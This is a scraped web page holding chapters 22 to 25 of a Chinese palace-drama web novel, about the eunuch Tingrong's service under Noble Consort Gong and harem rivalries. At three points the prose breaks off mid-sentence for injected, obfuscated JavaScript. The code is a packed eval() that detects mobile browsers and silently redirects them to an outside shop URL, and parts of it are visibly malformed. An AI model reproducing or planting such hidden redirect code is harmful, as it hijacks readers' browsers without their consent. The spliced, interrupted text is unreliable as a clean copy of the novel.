严昱祉?听容回想着上次他和严昱祉见面是什么时候,好像是严昱祉给他送恭贵妃赏的蜜瓜。可他并没做出巴结的举动吧? 芷月脸色难看起来,却不是对着听容的。 采莺继续道:“我看你还是是别做梦了,严公子不过是多跟你说了几句话而已,还真以为他能捞你出勤耕苑啊?” “我捞谁啊?”严昱祉的声音突兀地传来,还没看到人就已经能感觉到他的不悦了。 听容还没回头,严昱祉就跨过门槛来到了他身后。 采莺忙收了态度,跟着芷月和听容一起行礼。 “起来吧。”严昱祉说话的方向明显是冲着听容的,待他起身,才问,“你这是要去哪儿?” “俸了恭贵妃娘娘之命,给您送小厨房腌制的咸菜。” 听容的话让采莺和芷月都惊诧地抬起头,连规矩都忘了。 严昱祉的声音这才柔和了几分:“什么咸菜?” 听容如实答:“萝卜腌制的,给您的是咸口的,还给小禾准备了甜辣的。” 严昱祉眉尾一挑:“你做的?” “是。” “那你赶紧送过去,说不定还能换小禾一把核桃仁。” 听容看了看芷月和采莺,两个人还没调整好表情,由其是采莺,感觉眼睛都要冒火了。 “那奴才先告退了。”听容恍然想到先前采莺对严昱祉是存了心思的,可他离开长宁宫后又是如何他就不清楚了,看来还是得找机会问问芷月才行。 “去吧。哦,对了,你送完别急着回繁秀宫,在致书堂等我,我有事跟你说。” “是。”听容猜不出严昱祉有什么事,不过既然他在繁秀宫伺候了,估计也就是相关的事。 听容走后,严昱祉多一个眼神都没给采莺和芷月,就像从始至终都没这两个人,他接的那句话只是为了跟听容说话一般,转身就继续往繁秀宫去请安了。 采莺眼眶一红,芷月无奈地叹了口气,没管采莺,继续去办自己的差事了。 22.第22章 他到致书堂的时候,小禾正在剥核桃,与他们第一次见面时别无两样,只是天气暖和起来,小禾的衣服穿得少了些。 看到他,小禾立刻放下手里的盒子迎过来:“你怎么来了?听公子说,你去繁秀宫当差了,我还在想以后见面应该就方便多了,没想到你就来了。” 听容说明了来意,小禾开心道:“你总记挂着我,最近季哥没进宫,我也没出去,没有好吃的分给你了。” “我来找你又不是打牙祭的。”听容的初衷从来不是从小禾这儿换吃的。 小禾拉着他坐下:“你等我剥些核桃仁你带回去吃,季哥说多吃核桃脑子聪明。” 听容被勾起了好奇:“总听你说‘季哥’,他是什么人?” 他只是一问,如果小禾不方便回答,他不会计较,也不会追问。 “季哥也是跟着公子的,不过他没跟着进宫,住在严家在茂京的府邸里,且当是看家了。”小禾说道。 听容突然有意识到有什么地方不对。既然严家在京中有府邸,那皇上为什么非要留严昱祉在宫里住?要知道,严昱祉作为外男,正常是不应该留在宫中的。而且住在京中府邸,只要皇上允许,严昱祉进宫请安也没有不方便的地方。 不过他只是想一想,没有追问。他一个小人物,还没那个资格操心别人的事,自己先活好再说吧。 没让听容等太久,严昱祉就回来了。见他老实在致书堂等着,严昱祉似乎很满意。从书桌上拿了本装订都是散的菜谱,说:“这是我让人在宫外淘的,是一本手记的菜谱,看着还不错,你在我姑母的小厨房里伺候,做些宫里没有的餐食,能让我姑母多吃一些,就是你的用心了。” 听容随手翻了一下,又想起自己对外是不认字的,忙收了起来,说:“那等我回去问问芳眉姑姑上面都写了什么,看哪一道是娘娘爱吃的,再和小厨房的宫女们一起做。” 严昱祉即便是勾着嘴角的时候,眼神也依旧犀利:“行,你看着办。” 回到繁秀宫,听容才知道芳眉出宫去了。严家在京中的寺庙里为与他们一同征战,却战死杀场的将士们设立了供奉的牌位,每年到这个时候,恭贵妃都会派芳眉去寺庙供奉,告慰英灵。 正常今年严昱祉在京中,理应跟着同去。但恭贵妃做这些向来低调行事,让严昱祉跟着去怕生出些没必要的传言,就作罢了。 恭贵妃的顾忌越多,听容越觉得这里面他不知道的事肯定很多。只不过他刚来,问太多不是明智之举,还是老实地干好份内的事吧。 * 芳眉一去就是好几天,严昱祉给听容的那份菜谱他已经看了不止一遍了。一般厨子做菜的技巧都是师徒口口相传的,这样纪录下来的极少。看这本菜谱的散装、缺页和磨损程度,应该是有些年头了,而记录的菜色很符合恭贵妃的喜好,能淘到这么个东西,肯定不止运气好,还得是用心寻了的。 这日芷月托了小宫女给他传话,说中午可以到之前遇到的地方见面。其实是听容主动找的她,让她得空了找个人来跟他说一声。 “灵瑚姐姐,我去果局给娘娘拿些水果。”听容主动揽了这活,也是找了个借口出去。 “行,你去吧。”芳眉不在,这个宫里管事的就是灵瑚了。 听容先赶着去取了水果,才到了与芷月约好的地方。 “上次没来得及细聊,见你现在出息了,我就放心了。”芷月还是很高兴他能从勤耕苑出来的。 两个人来到一个角落,这边说话隐蔽些:“我是巧合之下得了这么个伺候的机会,也是繁秀宫缺人手。” 芷月没有细问,只说:“当初你被罚去勤耕苑,本就是庄贵妃蓄意为之,只是主子不敢出头,才让你去做了苦差事。好在老天有眼,你行了善事,就应该有好报才对。” 听容笑了笑,又问:“你在长宁宫可还好?” 芷月叹道:“说不上好,但也没什么不好的。现在主子已经有失宠之势了,主子心里难过,却也没有什么好办法。” 这些听容之前听小禾说过了。 “主子不得宠,内务府也跟着怠慢。以前需要什么,内务府巴巴地就给送来了,就连月例银子都不需要我们去领。可今时不同往日了,什么都得自己去内务府要,有时候还得看人脸色,没有那么周全了。”芷月见多了得宠失宠,对她来说日子倒不算艰难。 “没有人再针对循才人了吧?”循才人虽软弱,但他在长宁宫伺候期间,这位主子并没给他气受,他总得关心一二。 “没有了。失宠的女人在这宫里根本无人在意。”芷月说。话是残忍,却也是事实。说完糟心的,芷月关心起了听容,毕竟是她把听容从御酿局里要出来的,结果还没保住人,她心里是过意不去的,“你怎么样?在繁秀宫伺候还顺当吗?” 听容笑道:“我挺好的,劳姐姐挂心了。恭贵妃娘娘人很好,对下人不苛责,加上繁秀宫伺候的人多,每个人分到的活儿就少,并不累。” “那就好。”芷月彻底安心了。 听容这才问出了自己最困惑的问题:“姐姐,我不知道是哪儿得罪了采莺姑娘,她好像不太待见我。” 之前在长宁宫伺候的时候,也有一段日子采莺不让他到主子面前伺候,这些他都清楚。但那时候他并没有从采莺身上感觉到敌意。 芷月长长地叹了口气,左右看看,确定没有人,才压低了声音,说:“你应该知道采莺是对严公子有意的。” 听容点点头,之前采莺在恭贵妃那儿闹了个没脸,他听循才人和芷月说起来过。 芷月:“你走后,她借着送还披风的名义试图接近严公子,但被严公子赶走了。那时可能严公子还不知道你离开长宁宫了,说以后送东西让你去。采莺脸皮薄,又不能记恨严公子,就记你头上了。 “之后她还是在找机会,但一直再没能接近过。有一次她跟主子提起来,主子知道严公子对她没意思,加上后来恭贵妃与主子也疏远了,这事就更没可能了,她心里一直憋着这股劲儿,还是希望能得严公子倾眼的。” 听容听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230861|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完更迷惑了:“这与我有什么关系?她讨厌我做什么?” 芷月被他的表情逗笑了:“采莺心气高,这种事她肯定不能怨主子,也不可能怨自己,只能找一个对象,你是被严公子提起过的人,她只能去怨你了。” 听容:“我也太冤了吧?” 芷月又是叹气又是无奈:“都说宫里吃人,除了人害人,执念也是吞人的原因之一,自己把自己逼疯的不在少数。” 这个理由在听容看来无比荒唐,可在宫里,好好的人也会被逼出黑暗的一面,又有什么是不可能的? 如今有了答案总比他一直在猜来得好。 “多谢姐姐告知,我心里有数了。”听容道。 芷月笑了笑:“她现在也不能把你怎么样,你且安心就是。” “明白。”的确,采莺手再长,也伸不到繁秀宫去。 回到繁秀宫,灵瑚就告诉他淑妃来了,让他进去送水果时恭谨些,别冲撞了。 听容不敢马虎,赶紧去洗了水果,又切成果盘送了进去。 “我前些日子得了两块不错的墨,你拿回去给恒植吧。”恭贵妃一边让她吃水果一边道。 “姐姐总是送这送那的,恒植学问不算精进,有些好东西给了他,我都觉得浪费。”淑妃叉起水果,不与恭贵妃见外。模样看着也是敦厚老实的,身上的环珮在举手投足间发出清脆悦耳的轻响。 “放我这儿更没什么用,棠儿用不上,昱祉跟着皇子们读书,正常我应该赏他才是,可他那学问才是真的毁我的墨呢。”跟淑妃说话时的恭贵妃整个人看起来也很放松。 淑妃笑说:“姐姐要是把二公子管得严一些,让他每日跟着去读书,不许偷懒,说不定能学出些东西来。” “算了吧,我是不指望他了。倒是恒植,我是真心希望他能学出个样儿来。” “姐姐的希望也是我的希望,只是恒植性子随我,没什么大志向。” “有历练,见世面,才会生出志向。这些都不急。我看着恒植有和你一样善良的心,这才是最让我喜欢的。”可以听出恭贵妃话里的真心。 “恒植是多得了姐姐的教诲,才能保持一颗善心。如今看着他跟二公子一起习武,我才觉得这孩子是有点长大了。”淑妃笑得很欣慰。 “宫里有他和昱祉一块,我才放心。”恭贵妃说完,才对听容道,“让灵瑚把墨备好,一会儿让淑妃带回去。” “是。”听容应后,就出去了。 想他第一次去皇子所送酒,当时严昱祉就是跟四皇子赵恒植一起用的晚膳。两个人具体聊了什么,听容已经记不得了,不过四皇子为人没什么架子倒是真的,跟严昱祉好像还挺聊得来的。 听容刚出门,还没等找灵瑚呢,淑妃的宫女灵环就快步走上前求见。 听容见她挺急的样子,特地站在门口留心听着。 就听灵环进去后,道:“贵妃娘娘,娘娘,奴婢刚刚听说良嫔把自己身边的宫女送给了皇上,皇上让敬事房的人安排这位宫女今晚侍寝呢。” 23.第23章 灵环来传完话,淑妃没坐一会儿,就带着人拿上恭贵妃给的墨离开了。 随后,灵瑚被叫了进去,出来后,见听容没事做,就叫上他去了库房。 恭贵妃库房里的东西堆得满满当当,能看得出来是想要摆放有序的,奈何东西实在太多,有些就只能堆放着了。 灵瑚来到放布料的架子,挑着颜色嫩的,抽了两批出来让听容抱着。 听容多少得探听一些,便问:“姐姐,这些料子是要给娘娘做夏衣吗?” 灵瑚干脆地回:“不是,是明天要拿去赏人的。皇上今天得了个新人,是良嫔送的,原是良嫔身边的宫女。等今夜过后,应该就有位份了,妃位以上按例都是会赏些东西的。” “这样啊……”听容不太懂主子把宫女送皇上的情况。他一个太监,教宫规的也不会跟他们讲这些。 见他摸不清状况,灵瑚边挑东西边给他讲:“将自己宫里长的好的宫女送给皇上,这种事每朝每代都有,只不过多是皇上先有意,主子才会做这个顺水人情。否则谁会愿意送个人去分自己的宠呢? “可话说回来,皇上近来并没有去良嫔那里,只说让她安心养胎。良嫔此举倒不像是皇上有意,更像是为了争宠,要抬上去一个为自己说好话。 “只不过咱位皇上可还未收过宫女为嫔妃,这是头一个。有了这个例,怕各宫都会有宫女动这样的心思了。” 议论主子肯定是犯宫规的,但私下里说几句再所难免,谁都不是圣人。 “多了个人分宠,娘娘心里应该会不好受吧?”听容能关心的只有眼下能关心上的。 灵瑚倒了笑了笑,说:“那你多做些好吃的,主子吃得高兴了,就不想那么多了。” “好。”听容点头应了。 灵瑚笑容里多了些开心,又去首饰架子那边挑起来。 为了让恭贵妃吃得下饭,听容从严昱祉给他的菜谱中挑了两道易做的,晚膳时就给送上了桌。 看着一道酸辣浸藕片,一道舂茄子,恭贵妃乐道:“这是谁的手艺啊,做得像模像样的,跟我在家时的小吃摊上做得很像。” 灵瑚一边布菜一边道:“还能有谁,肯定是听容做的。有他在,奴婢在小厨房都无用武之地了。” “你本也不擅做吃的,是言金走后实在没人了,才让你去顶着。等他全能上手了,你就不用进小厨房了。”恭贵妃先喝了口茶,刚要动筷子,外面就来报,说严昱祉来了。 “赶紧让他进来了,他也是会赶时候,不留他吃饭还不行了。”恭贵妃嘴上数落,可脸上全是高兴,又对灵瑚说,“叫听容来侍膳吧。” “是。”灵瑚没有任何异议地退下了。严昱祉是男子,往常来繁秀宫用膳,从旁伺候的都是芳眉。现在芳眉不在,太监来侍膳在规矩上比年轻的宫女更合适。 严昱祉进来问了安:“芳眉姑姑不在,我怕您一个人吃饭没滋味,来陪陪您。” “就你理由多,想蹭饭就直说,我还能赶你?” 严昱祉看了一眼桌上的菜色,眼中有几不可见的惊讶,又带着一丝了然,面上什么都看不出来。 听容奉命来侍膳,他没想到严昱祉会来,桌上的两道特地为恭贵妃准备的菜原本是想令恭贵妃开胃的,结果却有些不合时宜了。他满脑子想的都是万一严昱祉问起来,他怎么应付,侍膳的过程中一言不发。 “季汀让人来传话,问问端午您想吃什么馅的粽子,言金说想给您包。”严昱祉跟恭贵妃聊家常。 “我也吃不了多少,让他别麻烦了,叫听容他们包些就行了。对了,言金怎么样?出了宫还习惯吗?” “姑母放心,都挺好的。您把他安置在严府,府上能有个人做饭,季汀就能专心制药了。等天气凉了,就派马车把他送去南疆养老。他跟了您这么多年,尽心尽力的,严家肯定不能亏待他。”宫外的事恭贵妃鞭长莫及,只能交给严昱祉了。 “嗯。他一个太监,出了宫各方面都不甚方便,总得把他安置妥当,去了南疆在府上帮厨也是好的。”她借口言金手伤了,把人送走了,肯定不能送出去就不管了,“若是别人有孕向我要言金去伺候几个月,我也不会说什么。但良嫔……” 恭贵妃摇摇头:“她看着纯良,又不太受宠,但并不是个省心的。况且她向来依附庄贵妃,别人不知道,却瞒不过我。只不过我也没料到,庄贵妃连自己人的恩宠都能嫉妒至此,故意伤了人命,把屎盆子扣到良嫔头上,良嫔敢怒不敢言,皇上忌讳近来不见她。所以她才出此下策,把自己的宫女送给了皇上。” “皇上收了?”严昱祉明显不知道此事,却又没有多少意外。 “自然。”说到这儿,恭贵妃叹了口气,“可怜这个宫女了,也不知能得几时恩宠,大好的年华,却要没在这儿宫里了。” 听容虽然心不在焉,但两个人说话的内容真的让他想不震惊都难。他怎么都没想到良嫔居然是依附庄贵妃的,这么想来,这两个人都不想循才人得好并不是巧合,很可能是一早就通气好的。 宫里的种种对听容来说还是太复杂了,此时他又不免觉得自己还算幸运,现在好歹是在恭贵妃宫里伺候,能得一些别的地方得不到的消息,总是能更安全些。 严昱祉吃饭快,又不挑食,听容布菜的速度都赶不上他吃得快,前几筷子走个形式,后面他都是自己夹的:“说不定她运气好,能一路高升呢?” 恭贵妃轻轻叹气:“得宠你以为她就能有好下场?良嫔、庄贵妃,哪一个能放过她?” “人各有命吧。”严昱祉在这件事上只能听听,帮不上忙却要长篇大论的话,就显得太无知了。 恭贵妃这顿饭吃了不少,虽然菜只动了听容做的那两道,但中间又添了半碗米饭。 吃完饭,严昱祉就准备回去了。恭贵妃随口让听容送严昱祉。 出了殿门,严昱祉似笑非笑地对听容道:“小骗子,菜做得不错。” 听容已经想好了说辞:“请灵瑚姐姐帮我看的菜谱。” 严昱祉不置可否地挑了挑眉,继续往外走:“姑母喜欢吃咸口的粽子,小禾喜欢甜的。你们小厨房到时候每样都包一点吧。” “是。”听容想着端午不知道设不设宴。就算没有,尚膳房肯定也会做些节日相关的饮食,他们宫里倒真不用做太多。 “你不问问我喜欢吃什么口味?”严昱祉把话题扯到自己身上。 听容总不能说这不是自己应该关心的事,只能应付道:“我看公子并不挑食,应该怎么都好吧?” 严昱祉没答话,只是继续往外走。等迈出了繁秀宫的宫门,听容向他行礼恭送,严昱祉才道:“对了,忘了跟你说,灵瑚虽是大宫女,但她并不认字。” 听容被定在当场。 严昱祉哈哈大笑,挥手离开。 * “臣妾给皇后娘娘请安,给各位姐姐请安。” 月坤宫里,昨日侍寝的宫女按规矩前来请安。 听容作为贵妃的宫人,是可以破例站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239274|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在殿门口听吩咐的,所以里面的动静听得很清楚。 刚才陪着恭贵妃过来,他也看清了这位新得宠的宫女,清纯的如宫花园里的白丁香花一般。 不过听容并没来得及多看,循才人就到了。见到旧主,听容心里没有任何波澜,从循才人舍弃他的那一刻开始,他们的主仆情谊就结束了。没有谁对不起谁,只是听容自认不适合在循才人身边伺候。 循才人和之前比瘦了不少,装饰也没有之前那么粉嫩可人了,显得素了不少。而跟着她一起来的采莺脸色那叫一个差,不过并不是针对他的,听容便没在意。 “皇上下旨,给了白氏御女的位份。”皇后端座于上位,“以后你伺候皇上的时日还多,除了要谨遵宫规,谨慎奉上,最重要的是诞育皇嗣。你是良嫔宫里出来的,说不定能沾了这喜气,早日有个一子半女的。” “是,臣妾谨遵娘娘教诲。”白御女行礼。 在场的嫔妃各怀心思,良嫔看着白御女,轻抚自己的肚子,眼神是冷的;庄贵妃连一个眼神都懒得给,抚着自己新得的耳饰;循才人低着头,不知道在想什么;恭贵妃悠然地喝着茶,不多看也不说话;淑妃尝了皇后娘娘特地准备的点心,环珮叮当之间,让气氛显得没那么紧张了…… 时间差不多了,皇后散了众人,只留了白御女要再嘱咐几句。 妃嫔们走在长街上,现在天气暖了,妃嫔们也不坐轿子了,乐意走回宫里,且当是消遣。 “良嫔,你宫里的人出息了,你若再生出个皇子来,那以后封妃指日可待啊。”庄贵妃先开了口。她和恭贵妃一起走在最前面,但仔细看,她比恭贵妃走得更快些,倒像是位份更高似的。 听容走在恭贵妃身后,今儿本应该是灵瑚陪着恭贵妃来请安的,但鉴于听容没跟着恭贵妃去过皇后宫里,哪怕之前有过跟循才人去的经验,身份不同,站的位置也不一样,所以恭贵妃特地带他去一趟,让他熟悉一下。倒不是怕他错了规矩,而是让他知道自己现在的地位,别失了繁秀宫的体面。 良嫔小声道:“嫔妾不敢妄图。” “嘁,人都送了,还有什么不敢的?”庄贵妃笑得很不屑,“也亏得你宫里有个好看的,不然你想使法子也用不上。” 良嫔笑得很僵,没再应话。 庄贵妃又瞥了一眼恭贵妃,还没开口,就注意到了他身后的听容。这让庄贵妃愣了一下,才道:“这太监本宫看着眼熟啊。” 听容步伐一顿,他有些担心庄贵妃寻他的不是,再针对他。 恭贵妃嘴角一扬:“之前在后宫伺候过,我看他长得好,昱祉又喜欢长得好的伺候,还特地跟我求了一番,我便就要到宫里了。” 她知道庄贵妃肯定是认出人来了,想到严昱祉要继续装荒唐的嘱咐,她就借机把严昱祉的装相巩固一番,别的就不必多说了,跟着她的人,庄贵妃是不敢跟她硬碰的。 庄贵妃装作恍然道:“哦,我想起来了。之前我还说他长得好,应该送到皇子所去伺候严二公子。” 她没提火场救人的事,只挑了这个无伤大雅的说。听容松了口气,明白只要恭贵妃向着他,庄贵妃也得避其锋芒。 “是啊,如今到我宫里正正好。”恭贵妃不是听不出庄贵妃话里有话地嘲讽严昱祉不上进,但这是她要的效果,自然不会在意。 庄贵妃没得趣,就先走一步了。 恭贵妃拍了拍听容扶着她的手,听容冲她笑了笑,提起来的心落回实处,两个人便回繁秀宫去了。 24.第24章 回到宫中,听容接过小宫女奉上的茶,放到恭贵妃手边。 芳眉不在,宫里大大小小的事都要由灵瑚管着,这会儿没得空进来伺候,听容早上跟着去请安,没在小厨房忙活,就顺便伺候在侧了。 “一会儿你吃了早饭,去一趟白御女那里,把本宫的赏赐给她。”恭贵妃给听容派了事,在宫里伺候这些日子,她看得出听容是个勤快的,今日跟她去请安,也十分谨慎懂规矩。 “是。”听容应道。 恭贵妃喝着茶,抬眼看了看听容:“今日见到循才人,没什么想问的?” “奴才不敢。”听容忙道。 “有什么敢不敢的,你在她宫里伺候过,关心旧主不为过。”恭贵妃只是叙述这件事,听不出试探的意思。 听容并不知道恭贵妃是真随口一说,还是有别的想法,现在他身在繁秀宫,自然得表一表忠心:“奴才不敢欺瞒娘娘,之前奴才在路上遇到过芷月姐姐,听说了些循才人的近况。” 恭贵妃并不惊讶,微微扬了扬嘴角,说:“她也不容易,一把火把皇上对她的情分烧尽了。在这个宫里,不争不抢是可以的,但不敢争抢,就是大忌了。她进宫时日不算短了,却还是没看明白。” 听容实在听不明白恭贵妃话里到底是什么意思,好像怎么猜都有理,只能试探着问:“娘娘有意提点循才人?” 恭贵妃摇摇头:“这样的人,与我无益。宫中本就艰难,我没必要给自己找累赘。” 他来的时间并不长,恭贵妃却能跟他说这些,听容心里有种说不上来的感觉,被提点了就仿佛是没拿他当外人了。 “娘娘的处事之道以奴才浅薄的资历实在难以明白透彻。不过今日见庄贵妃与您说话都得让上几分,否则庄贵妃认出奴才来不会这样轻轻放过,便可知您的智慧。”听容夸恭贵妃是真情实感的,便不会给人溜须拍马的感觉。 恭贵妃笑说:“她母家是文臣,我母家是武将,她家离圣上更近,可我家实权在握,她自然不会真愿意得罪我,只是嘴上得占上便宜而已。” 提到庄贵妃,恭贵妃倒没露出什么厌恶或者嫉妒的神色:“再者,她是大皇子的养母,而我只有一个三公主。同样是贵妃,论起地位来,我到底是矮她一头的。不过她若不来招惹我,我也不会对她如何。” 这种微妙的平衡在后宫并不少见,如何维持亦是心照不宣。 只是听在听容耳朵里,那就是海量的消息,他不仅得记住,还得跟着平衡其中的关系,才能在恭贵妃这儿站得稳。 听容自己都没注意到的是,他的情绪此时都写在眉间皱起的纹路上了,反倒把恭贵妃逗笑了。她宫里久没来新人,她都快忘了收服一个新人,提点调-教的过程还是挺有趣的。 吃了早饭,听容带了一个小太监,两个人拿上给白御女的赏,去了英萃宫。 因为白御女是良嫔身边出来的,即便良嫔不是一宫主位,皇上还是让白御女跟着良嫔住了。如此一来,皇上来看白御女,自然就会见良嫔,有了见驾的机会,良嫔的目的就达到了。剩下的待日后生下孩子,有的是可以转圜的机会。 来送赏的不止恭贵妃,其他宫里多多少少也来送了。照理来说宫里的娘娘们赏便可以了,不过其他主子若有心交好,或者不愿得罪,也会送些礼来以表和睦。 “不过就是个宫女,一朝得宠就成了主子,有什么了不起?说是得宠,封得却是位份最低的御女,也就那样吧。” 敢在英萃宫宫门口说这话,听容抬头想看看是哪个不要命的,结果就看到了采莺。 一时间他都不知道自己应该说什么了,奴才遇上软弱的主子固然心寒,可主子身边若有这么个轻重不分的宫女,也是灾难了。 再说,采莺有意的是严昱祉,这白御女是被献给皇上的,又不是给严昱祉的,她在这儿说这番话,实在没道理。好在周围没有旁的人,不然还真不一定能收场。 采莺看到听容,并没惊慌,反而是瞪了他一眼,就带着小宫女走了。 而比起采莺的态度,白御女倒是个好说话的,规规矩矩地谢了恩。 出来时,听容见良嫔站在东侧殿门口,良嫔还没到特别显怀的时候,但衣服已经开始穿的很宽松了。听容给她行了礼,良嫔也只是盯着白御女的住处,没理会他。 * 转眼又过了两日,这天下午,皇后宫里来人,说皇后娘娘突感身体不适,太医说是操劳太过,又赶上时气干燥,肝火上升,要静养一段时日,就免了各宫请安了,待皇后娘娘身子好些再说。 “前两天还好好的,怎么突然就病了?”恭贵妃坐在榻上,手边放着严昱祉刚给她淘来的民间话本。 她不像循才人那样爱读些诗经、诗词之类,恭贵妃更喜欢这些民间话本和游记。虽不是天天不离手,却是打发时间的好选择。 灵瑚:“虽是春日里了,但京中久久无语,的确比往年干燥。往年入春后,就是脸上不抹东西,也不会觉得怎样。可现在若是不抹,就觉得干痒。” 恭贵妃日日保养,自是不觉得,经灵瑚这么一提,又算了算日子,才道:“的确,怕不是要大旱吧?” 灵瑚不懂这些,只道:“早上听容还说要炖些润燥的银耳百合,等他炖好了,奴婢端给您。您的身子也没有完全好,还是得注意。” 以往皇后娘娘身体不适,也会免了各宫请安,但宫后有什么事还是会报到月坤宫去。可这次有点不同,月坤宫大门紧闭,除了太医早晚出入请脉外,连月坤宫里的宫人都极少走动。 如此就引发出了许多猜测,皇后那里不用请安,又得不到更具体的消息,后宫的嫔妃之间走动就频繁起来。重点都只有一个,就是皇后娘娘到底如何。只不过聊来聊去也说不出个所以然来,只能等消息。 傍晚,泰宣帝在没有派人来提前传话的情况下,突然来了繁秀宫。 这几日泰宣帝都是召的白御女侍寝,加上恭贵妃身体还没全好,不宜侍寝,所以在不用晨昏定省的时候,到了这个时辰,恭贵妃头上的珠翠已经卸下大半了。 “不知皇上要来,臣妾失礼了。”恭贵妃请罪。 “无妨。”泰宣帝亲自将她扶起来,“朕要不是突然过来,哪能见到你不施点翠,依旧美貌无双的模样?就是这样家常的样子,才让朕觉得放松。” “皇上近来政务很忙吗?”恭贵妃这样问,也是向皇上表明她平日并不打听朝堂之事。 “各地干旱无雨,种下的种子生不出芽,有的虽冒芽了,但因无雨都枯黄了。”泰宣帝牵着恭贵妃的手一边往殿内走一边道,“折子一封一封地送进来,各地也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248559|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都想了办法,却无一有用,都来请示该当如何。这几日朕和几个大臣也一直在讨论此事,至今未有结果。” 这种与军事无关的朝政,泰宣帝心情放松的时候会跟恭贵妃提上一提。 “臣妾记得几年前也有一回如此,是您和皇后一同去祈雨,才使得天降甘霖。这次您是否也准备去?”恭贵妃等泰宣帝坐下,自己才落座。 “朕也是这样打算,但是不巧,皇后偏偏这个时候病倒了。” “皇上可去看过皇后了?” “刚去看了她,才来的你这儿。如今皇后食欲不振,好不容易吃些又胀得很,口苦无力,看来是得调养好一阵子了。” 恭贵妃叹说:“皇后娘娘这些年劳心劳力,事事亲力亲为,想是累着了。如今娘娘正当盛年,仔细调养,肯定能养回来的。” “这些倒还不是最要紧的,眼下皇后管不了事,你行事向来妥帖,所以朕想问问你,愿不愿意协理六宫?” 听容和灵瑚端茶点进来,听到的就是这句。 灵瑚脸上是没来得及掩饰的惊喜。伸手拦住听容不让他进,以免打扰娘娘和皇上说正事。 听容可没有灵瑚那般愉快,立刻冲她摇摇头,用托盘抵了一下她的胳膊,示意她进去送茶。 灵瑚觉得听容年纪小,什么都不懂,协理六宫的机会可是很难得的。 听容见她不为所动,只能一咬牙走在了前面。 灵瑚眼睛都瞪大了,又不好这时骂他,只能跟着进去。 “皇上,这是娘娘特地让小厨房做的银耳百合莲子羹,原本是让酒膳前送到御前的,没想到您就来了。”听容说着好话,却也是打岔了泰宣帝和恭贵妃的话题。 恭贵妃立刻笑道:“是啊,这几日臣妾吃着觉得滋润,皇上尝尝。” “茶也是娘娘近几日都在喝的莲子茶,特地加了菊花明目。”听容再次出声。 “臣妾还让他们加了点蜂蜜进去,没想到味道极好。您试试,若不合口味,再让他们给您换清茶。”几句话下来,气氛就又变成了聊家常,协理六宫之事,无论恭贵妃愿意还是不愿意,都不会显得像是在争权,更像是夫妻之间的闺房闲聊,妻子无论同不同意帮忙,都无所谓的。 “你这儿的小厨房还是这么花样百出。”泰宣帝在这样气氛中表情也柔和了几分。 “不过是些小巧的玩意儿,吃个顺心就好。” 听容和灵瑚退了下去。 回到了小厨房,灵瑚才发作:“你怎么回事?那么重要的事,你就这么给岔过去了?” “姐姐别恼。”听容盛了碗银耳羹给她。 “不喝!”灵瑚还气着呢。 她这样直接的发作反而是听容最喜欢的,不用猜来猜去,有什么事也能当面说明白,不容易生芥蒂。 “皇上想给娘娘协理六宫之权当然是好事,只要皇上有心,不会被我打岔一下就作罢的。我只是想着,娘娘跟我提过,庄贵妃因为抚养着大皇子,地位要比娘娘高一点。如今皇上没先去找庄贵妃,却来找了娘娘,哪怕就是庄贵妃没这个能力,可心里能不多想吗?到时候万一给娘娘使起绊子来,吃亏的还是娘娘。”听容不确定自己猜的就一定对,他走上前也是冒了险的,可看恭贵妃接他的话接得那么顺畅,足见他猜得至少有几分道理。 25.第25章 灵瑚皱着眉,圆圆的脸让她生气都显得没有太大威慑力:“你是不是想太多了?” 听容不否认:“或许是。姐姐,我刚来,很多事还不明白,难免想得多。” 灵瑚叹气:“行吧,你下次还是不要自做主张得好。这次好在皇上没生气,不然有你的板子等着。” “嗯,我知道的。”听容又把碗往灵瑚那边递了递,灵瑚没再拒绝,抱着碗边吃边留意着娘娘那边是否有吩咐。 殿中,泰宣帝尝了半碗银耳羹,恭贵妃跟他说起三公主,提到赵语棠近来在跟着太妃学绣名画,不大得空过来。先前她给严昱祉做了个荷包,实在是不怎么好看,绣得也粗糙,倒是严昱祉算给面子,还肯往身上戴。 泰宣帝想起了那枚荷包,乐道:“是棠儿绣的?我还以为是他从南边带进京的,还想着都说南边女子手巧,怎的绣出这么个东西来。” “臣妾也不擅刺绣,指点不了棠儿什么,好在太妃肯费心,不过棠儿看起来没什么天分。”说起女儿的事,两个人就更像聊家常了。 “棠儿是公主,大体会些就行了,自有下人伺候着。”在一众女儿中,赵语棠是最贴心的,会跟他撒娇,也不怕他,父女相处起来倒像是寻常百姓家的一般父慈女孝。 “话是这么说,但日后她嫁人,总不能让婆家觉得咱们养出的公主只有架子,手上做不了事。” “那又如何?”泰宣帝不以为意。 恭贵妃笑道:“您这样会惯坏她的。” 